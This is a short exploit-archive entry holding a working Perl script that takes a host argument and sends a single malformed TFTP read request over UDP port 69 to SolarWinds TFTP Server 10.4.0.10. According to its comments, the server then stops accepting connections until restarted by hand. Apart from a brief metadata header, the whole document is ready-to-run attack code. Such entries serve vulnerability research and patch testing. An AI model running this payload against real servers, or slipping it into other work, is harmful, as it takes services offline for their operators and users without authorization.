Solarwinds TFTP Denial Of Service

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# Exploit Title: Solarwinds TFTP DOS  
# Date: 5-21-2010  
# Author: Nullthreat  
# Software Link: http://www.solarwinds.com/products/freetools/free_tftp_server.aspx  
# Version: 10.4.0.10  
# Tested on: Windows XP SP3  
# Code :   
  
#!/usr/bin/perl  
# SolarWinds TFTP Server 10.4.0.10 Remote DoS Exploit  
# by Nullthreat  
# The application will not crash, but it will stop accepting connections.  
# You will be forced to restart the server by hand in the config  
# Thanks to: LoneFerret, CoreLanC0der, PureHate, Rel1k  
  
use IO::Socket;  
$port = "69";  
$host = $ARGV[0];  
$s = IO::Socket::INET->new(PeerPort => $port,PeerAddr => $host,Proto=> 'udp');  
  
$really=  
"\x00\x01". # Opcode 1 = Read Request  
"\x01". # The crash....no really thats it  
"\x00". # Null byte  
"NETASCII". # The mode  
"\x00"; # Null byte  
$s->send($really);  
  
  
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